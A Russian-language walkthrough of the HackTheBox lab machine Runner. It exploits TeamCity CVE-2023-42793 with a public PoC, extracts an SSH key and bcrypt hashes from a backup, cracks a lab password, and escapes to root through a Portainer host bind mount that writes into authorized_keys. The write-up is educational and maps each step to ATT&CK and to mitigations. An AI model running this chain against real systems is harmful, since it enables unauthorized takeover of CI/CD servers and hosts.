Перейти к содержимому

HTB Runner прохождение: от TeamCity CVE-2023-42793 до побега из Docker

HTB Runner прохождение: от TeamCity CVE-2023-42793 до побега из Docker
Время чтения: 13 мин.

CVE-2023-42793 попала в каталог CISA KEV (это список уязвимостей, которые УЖЕ эксплуатируются в реальных атаках — если CVE оказалась здесь, патчить нужно было вчера) в октябре 2023 года. С тех пор она фигурирует в ransomware-кампаниях. EPSS (вероятность эксплуатации в ближайшие 30 дней, шкала от 0 до 1) — 0.9998. Практически максимум. Машина Runner на HackTheBox моделирует именно этот сценарий: уязвимый CI/CD-сервер TeamCity как точка входа, промежуточное перемещение по SSH, а финал — побег из Docker-контейнера через Portainer до root на хосте. Ниже — полная цепочка от первого nmap до root-флага с разбором каждого шага.

Место в цепочке атаки

MITRE ATT&CK — открытая база тактик и техник атак. Каждой технике присвоен T-код (например, T1190). Эти идентификаторы используют в отчётах и правилах детекции по всему миру. При первом прохождении Runner полезно видеть, к какому этапу атаки относится каждое действие — потом на реальном пентесте будете мыслить этими же категориями.

Полная цепочка Runner:

  1. Initial Access — Exploit Public-Facing Application (T1190): обход аутентификации TeamCity через CVE-2023-42793, создание административного пользователя
  2. Credential Access — Credentials in Files (T1552.001): извлечение SSH-ключа и хешей паролей из бэкапа TeamCity
  3. Lateral Movement — SSH (T1021.004): подключение к хосту по украденному ключу
  4. Discovery — File and Directory Discovery (T1083): обнаружение Portainer и Docker-инфраструктуры на хосте
  5. Execution — Container Administration Command (T1609): создание контейнера с монтированием файловой системы хоста
  6. Privilege Escalation — Escape to Host (T1611): запись SSH-ключа в /root/.ssh/authorized_keys через смонтированный том, вход на хост как root

Эта последовательность — не учебная абстракция. CI/CD-системы как вектор initial access занимают растущую долю реальных инцидентов: по данным Mandiant M-Trends 2025, эксплойты составляют 38% всех случаев начального доступа, и уязвимые TeamCity, Jenkins, GitLab входят в эту статистику.

Требования к окружению

Перед началом убедитесь, что всё на месте:

  • ОС: Kali Linux 2023.x или Parrot OS. nmap, hashcat, ssh, ffuf, seclists — предустановлены в Kali. Если ставите вручную через apt install ffuf seclists, путь будет /usr/share/seclists/. Путь /opt/SecLists/ — это если клонировали через git clone из репозитория danielmiessler/SecLists
  • RAM: от 4 ГБ для одной VM с Kali
  • Инструменты: nmap, ffuf, hashcat, ssh-клиент, Python 3.8+ с модулем requests
  • Сеть: активное VPN-подключение к HackTheBox (файл .ovpn из личного кабинета HTB), интерфейс tun0
  • Словари: пакет SecLists (apt install seclists в Kali). Критичен файл bitquark-subdomains-top100000.txt — без него поддомен не найдётся. Путь при установке через apt: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt

Первый шаг — добавить IP машины (указан на странице машины в HTB) в /etc/hosts, иначе браузер и инструменты не смогут резолвить доменное имя. Здесь и далее <TARGET_IP> — IP из вашего инстанса HTB (например, 10.10.11.13 для retired-версии):

echo "<TARGET_IP> runner.htb" | sudo tee -a /etc/hosts

Если после ping runner.htb приходят ответы — всё настроено верно.

Разведка: сканирование и поиск поддоменов

Сканирование портов nmap

Задача — понять, какие сервисы работают на машине. Запускаем быстрое сканирование всех портов: nmap -p- --min-rate 10000 <TARGET_IP>. Флаг -p- — все 65535 портов, --min-rate 10000 ускоряет сканирование за счёт отправки минимум 10000 пакетов в секунду.

Ожидаемый результат — два открытых порта: 22 и 80.

Уточняем версии: nmap -p 22,80 -sCV <TARGET_IP>. Флаг -sC запускает стандартные скрипты nmap (NSE — Nmap Scripting Engine), -sV определяет версии.

Что покажет вывод:

Порт Сервис Версия Комментарий
22/tcp SSH OpenSSH 8.9p1 Ubuntu Версия указывает на Ubuntu 22.04 Jammy
80/tcp HTTP nginx 1.18.0 Редирект на http://runner.htb/

Сайт на порту 80 — статический лендинг с информацией о CI/CD-решении. Все ссылки ведут на якоря внутри страницы, интерактивных компонентов нет. Зато на странице есть «Powered by TeamCity». Запомним.

Перебор директорий через feroxbuster -u http://runner.htb ничего полезного не даёт — только /assets/ со статикой.

Перебор виртуальных хостов

Виртуальный хост (vhost) — когда на одном IP работают несколько сайтов, а различаются они заголовком Host в HTTP-запросе. Если на машине есть скрытый поддомен, стандартный перебор директорий его не найдёт.

Типичная ошибка новичков: использовать маленький словарь. Со стандартным subdomains-top1million-5000.txt (5000 записей) результат будет пустым. Нужен словарь покрупнее:

ffuf -u http://<TARGET_IP> -H "Host: FUZZ.runner.htb" \
  -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \
  -mc all -ac

Флаг -mc all показывает все HTTP-коды ответа, -ac включает автокалибровку — ffuf сам определит «шумовой» ответ и отфильтрует его.

Результат: найден поддомен teamcity со статусом 401 (Unauthorized). Добавляем в /etc/hosts:

echo "<TARGET_IP> teamcity.runner.htb" | sudo tee -a /etc/hosts

Открываем http://teamcity.runner.htb в браузере — страница логина JetBrains TeamCity версии 2023.05.3. Эта версия попадает в диапазон уязвимых — все до 2023.05.4 согласно NVD.

Эксплуатация TeamCity через CVE-2023-42793

Суть уязвимости

CVE (Common Vulnerabilities and Exposures) — стандартная система идентификации уязвимостей. CVE-2023-42793 — обход аутентификации в JetBrains TeamCity версий до 2023.05.4, который позволяет неаутентифицированному атакующему выполнить произвольный код на сервере (RCE — Remote Code Execution).

CVSS (стандарт оценки критичности уязвимостей) для этой CVE — 9.8 из 10 (CRITICAL). Разберём вектор CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — если видите эту строку впервые, вот что означает каждый компонент:

  • AV:N — атака по сети, физический доступ не нужен
  • AC:L — низкая сложность, специальных условий нет
  • PR:N — привилегии не нужны, атакующий анонимен
  • UI:N — действий пользователя не требуется
  • C:H/I:H/A:H — полный импакт на конфиденциальность, целостность и доступность

Все компоненты на максимуме — поэтому и 9.8. В переводе на человеческий: любой анонимус из интернета может получить полный контроль над сервером без каких-либо условий.

Уязвимость относится к CWE-288 (обход аутентификации через альтернативный путь) и CWE-306 (отсутствие аутентификации для критической функции). Критический API-эндпоинт TeamCity доступен без проверки подлинности — классическая ситуация «забыли повесить замок на бэкдор».

CVE-2023-42793 находится в каталоге CISA KEV с 4 октября 2023 года и помечена как используемая в ransomware-кампаниях. Эксплойт опубликован на Exploit-DB (EDB-51884, автор ByteHunter). На GitHub наиболее популярный PoC — H454NSec/CVE-2023-42793 (46 звёзд, активно обновляется).

Получение доступа к TeamCity

Эксплойт обращается к endpoint /app/rest/users/id:1/tokens/RPC2, который из-за ошибки в маршрутизации не требует аутентификации, и генерирует токен для суперпользователя (id=1). Через полученный токен создаётся новый администратор:

git clone https://github.com/H454NSec/CVE-2023-42793
cd CVE-2023-42793
python3 exploit.py -u http://teamcity.runner.htb

Скрипт выведет логин и пароль созданного администратора. Если видите строку с credentials — эксплойт сработал. Если скрипт падает с ошибкой — проверьте: URL без слэша в конце, Python 3.8+ установлен, модуль requests доступен (pip3 install requests).

Входим в веб-интерфейс TeamCity с полученными кредами. Полный административный доступ к CI/CD-серверу — в кармане.

Два пути: RCE или бэкап

После получения админа в TeamCity есть два варианта:

Путь 1 — RCE через debug-режим. Включаем debug-mode в настройках и выполняем системные команды через API. Получаем шелл внутри контейнера TeamCity (пользователь tcuser). Быстро, но менее стабильно.

Путь 2 — бэкап (intended path). Создаём полный бэкап через веб-интерфейс. Даёт доступ к большему количеству данных и задуман авторами машины.

Я рекомендую второй путь — он надёжнее и учит работать с данными, а не просто получать шелл. Умение копаться в бэкапах CI/CD-систем пригодится на реальных проектах чаще, чем кажется. Переходим в Administration → Backup, выбираем scope «All except build artifacts», нажимаем «Start Backup». Через несколько секунд появится ссылка на скачивание ZIP-архива.

От TeamCity к SSH: извлечение ключей и хешей

Создание бэкапа и разбор данных

Скачиваем архив и распаковываем: unzip TeamCity_Backup_*.zip -d tc_backup. Внутри — конфигурация TeamCity, дамп базы данных, данные плагинов.

Что искать в бэкапе:

SSH-ключи. Команда find tc_backup -name "id_rsa" 2>/dev/null покажет приватный SSH-ключ в директории плагинов (plugin_data). Этим ключом TeamCity подключался к хосту для выполнения задач.

Хеши паролей. Файл database_dump/users (может называться users или users.csv) содержит записи пользователей TeamCity с bcrypt-хешами. Команда cat tc_backup/database_dump/users покажет двух пользователей: john и matthew. Хеши хранятся с префиксом bcrypt: в формате bcrypt:$2a$....

SSH-ключ сам по себе бесполезен, пока мы не знаем, какому пользователю он принадлежит. А хеш бесполезен, пока не взломан. Нужно и то, и другое.

Взлом хешей и подключение по SSH

Извлекаем хеши john и matthew. В дампе TeamCity хеши хранятся с префиксом bcrypt:, поэтому сначала очищаем: grep 'bcrypt:' tc_backup/database_dump/users | sed 's/.*bcrypt://' > hashes.txt. Запускаем hashcat: hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt --force. Режим -m 3200 — bcrypt. Hashcat перебирает пароли из rockyou.txt — стандартного списка утёкших паролей.

Результат: хеш matthew поддаётся — пароль piper123. Хеш john по rockyou не ломается. Запомните пароль matthew — он понадобится для Portainer.

Теперь пробуем SSH-ключ. Сначала права (SSH откажет, если файл ключа доступен другим пользователям): chmod 600 id_rsa. Пробуем обоих:

  • ssh -i id_rsa matthew@runner.htb — отказ (ключ не подходит)
  • ssh -i id_rsa john@runner.htb — успех

Шелл от имени john. Файл user.txt в домашней директории — первый флаг взят.

Повышение привилегий через Docker: побег из контейнера

Обнаружение Portainer

Portainer — веб-интерфейс для управления Docker-контейнерами. Популярен в продакшене, потому что позволяет управлять контейнерами через браузер вместо командной строки. И именно эта «удобная кнопочка» часто становится вектором эскалации.

Обнаруживаем Portainer двумя способами:

  1. Команда ss -tlnp (просмотр слушающих TCP-портов) показывает порты 9000 и 9443 на 127.0.0.1 — дефолтные порты Portainer
  2. Директория /opt/portainer/ на хосте

Порты слушают только на localhost — из браузера на атакующей машине не достучаться. Решение — SSH-туннель: ssh -i id_rsa -L 9443:127.0.0.1:9443 john@runner.htb. Эта команда «пробрасывает» порт 9443 с хоста на вашу машину. Теперь в браузере открываем https://localhost:9443. Браузер покажет предупреждение о самоподписанном сертификате — Advanced → Proceed. Можно пробросить и порт 9000 (-L 9000:127.0.0.1:9000) и использовать http://localhost:9000. Видим страницу логина Portainer.

Вводим matthew:piper123 (пароль из бэкапа TeamCity). Портал открывается с правами на управление контейнерами.

Монтирование файловой системы хоста

Почему Docker позволяет получить root? Контейнер по умолчанию запускается с привилегиями root внутри контейнера. Если смонтировать файловую систему хоста как volume — появляется прямой доступ к файлам хоста с правами root. Portainer работает через Docker-сокет (/var/run/docker.sock) — специальный файл, через который программы общаются с Docker-демоном. У кого есть доступ к сокету — у того полный контроль над всеми контейнерами и, как следствие, над хостом. Никакой CVE не нужен — это штатная функциональность Docker, которая работает as designed.

Последовательность в Portainer:

Шаг 1. Определяем устройство. На хосте (через SSH-сессию john) выполняем cat /etc/fstab. Корневой раздел — /dev/sda2, файловая система ext4.

Шаг 2. Создаём volume. В Portainer: Volumes → Add volume. Драйвер: local, options: o=bind, device: /, type: none. Этим мы создаём bind mount корневой файловой системы хоста в Docker-том. «Create the volume».

Шаг 3. Выбираем образ. В разделе Images — teamcity и ubuntu. Берём ubuntu — легче и предсказуемее.

Шаг 4. Создаём контейнер. Containers → Add container:

  • Image: ubuntu
  • Command: sleep 99999 — без этого контейнер остановится мгновенно, потому что ему нечего выполнять. Sleep держит его «живым»
  • Volumes: подключаем созданный volume, точка монтирования — /mnt

«Deploy the container». Статус Running в списке — всё сработало.

Шаг 5. Получаем шелл в контейнере. Открываем контейнер → Console → Connect. Выполняем ls /mnt — если видите bin, etc, home, root, usr — это файловая система хоста. Вот он, момент, когда понимаешь, почему Docker без ограничений — это фактически root.

Шаг 6. Записываем SSH-ключ. Генерируем ключевую пару на атакующей машине (ssh-keygen -t rsa -f mykey), затем в консоли контейнера:

mkdir -p /mnt/root/.ssh
echo "ssh-rsa AAAA...ваш_публичный_ключ..." >> /mnt/root/.ssh/authorized_keys
chmod 700 /mnt/root/.ssh
chmod 600 /mnt/root/.ssh/authorized_keys
chown -R root:root /mnt/root/.ssh
# Работает, потому что без userns-remap uid 0 в контейнере = uid 0 на хосте

Подключаемся: ssh -i mykey root@runner.htb. Root-шелл. /root/root.txt — финальный флаг.

Ограничения техники

Каждый этап этой цепочки работает при определённых условиях. На реальном пентесте важно понимать, где техника сломается — иначе потеряете время на заведомо нерабочий вектор.

Этап Техника Работает если Не работает если
Initial Access CVE-2023-42793 TeamCity до 2023.05.4 без патча, доступ по HTTP TeamCity 2023.05.4+; WAF с правилами для TeamCity API; TeamCity за VPN
Credential Access Бэкап TeamCity Есть админ-доступ к TeamCity, бэкапы не зашифрованы External auth (LDAP/SAML без локальных хешей); шифрованные бэкапы
Lateral Movement SSH по ключу Ключ хранится в TeamCity, пользователь существует на хосте Ключ ротирован; SSH с ограничением по IP; MFA для SSH
Privilege Escalation Volume mount Docker daemon без userns-remap; Portainer-пользователь имеет права на volumes Docker rootless mode; userns-remap; AppArmor/SELinux-профили для Docker; Portainer с RBAC

Применимость: вся цепочка актуальна для внутреннего пентеста в legacy-инфраструктуре, где CI/CD-системы развёрнуты в доверенном сегменте. На внешнем пентесте TeamCity редко доступен из интернета, но если выставлен — CVE-2023-42793 не требует ни привилегий, ни действий пользователя. В modern-инфраструктуре с managed Kubernetes (EKS, AKS, GKE) техника volume mount через Portainer неприменима: нет прямого доступа к /dev/.

Для сканирования инфраструктуры на уязвимый TeamCity есть готовый Nuclei-шаблон: nuclei -t http/cves/2023/CVE-2023-42793.yaml -u http://target. Nuclei — open-source сканер от ProjectDiscovery, шаблоны обновляются регулярно.

Чеклист HTB Runner прохождение

Компактный список действий для повторения:

  1. Добавить IP в /etc/hosts как runner.htb
  2. Сканировать все порты: nmap -p- --min-rate 10000
  3. Уточнить версии: nmap -p 22,80 -sCV
  4. Перебрать поддомены словарём 100k: ffuf с bitquark-subdomains-top100000.txt
  5. Добавить teamcity.runner.htb в /etc/hosts
  6. Определить версию TeamCity на странице логина (2023.05.3)
  7. Запустить эксплойт H454NSec/CVE-2023-42793
  8. Войти в TeamCity с созданными кредами
  9. Создать бэкап: Administration → Backup → All except build artifacts
  10. Скачать и распаковать бэкап
  11. Найти SSH-ключ: find . -name id_rsa
  12. Извлечь хеши: cat database_dump/users
  13. Взломать bcrypt: hashcat -m 3200 hashes.txt rockyou.txt
  14. Подключиться по SSH: ssh -i id_rsa john@runner.htb — взять user flag
  15. Пробросить Portainer: ssh -L 9443:127.0.0.1:9443
  16. Войти в Portainer: matthew:piper123
  17. Проверить /etc/fstab — определить корневой раздел
  18. Создать volume с driver local, options o=bind, device /, type none
  19. Создать контейнер ubuntu с volume на /mnt и командой sleep 99999
  20. Через Console записать SSH-ключ в /mnt/root/.ssh/authorized_keys
  21. Подключиться как root — взять root flag

Runner — одна из наиболее реалистичных машин Medium-уровня на HTB. CI/CD-серверы как вектор initial access — не CTF-выдумка: по данным Verizon DBIR 2025, 26% подтверждённых нарушений связаны с веб-атаками, а уязвимые компоненты вроде TeamCity (OWASP A06:2021 — Vulnerable and Outdated Components) остаются одним из основных входов. Но самый ценный урок этой машины — не TeamCity-эксплойт, а Portainer-эскалация. На реальных пентестах я регулярно вижу Docker-окружения, где разработчики выдают себе доступ к Portainer «для удобства», не понимая, что право создавать контейнеры с произвольными volumes — это фактически root на хосте. Никакой CVE не нужен: достаточно штатной функциональности Docker. Пока команды не начнут ограничивать права в Portainer через RBAC (Role-Based Access Control — разграничение доступа по ролям) и разворачивать Docker в rootless mode, побеги из контейнеров останутся рабочим вектором в каждом втором проекте с Docker. Если только начинаешь разбираться в ИБ и хочешь выстроить базу системно — на IB Basics показывают что делать в первый месяц после «хочу в ИБ».

Эту тему и смежные навыки разбирают на практике в курсе «Тестирование веб-приложений на проникновение (WAPT)» Codeby Academy.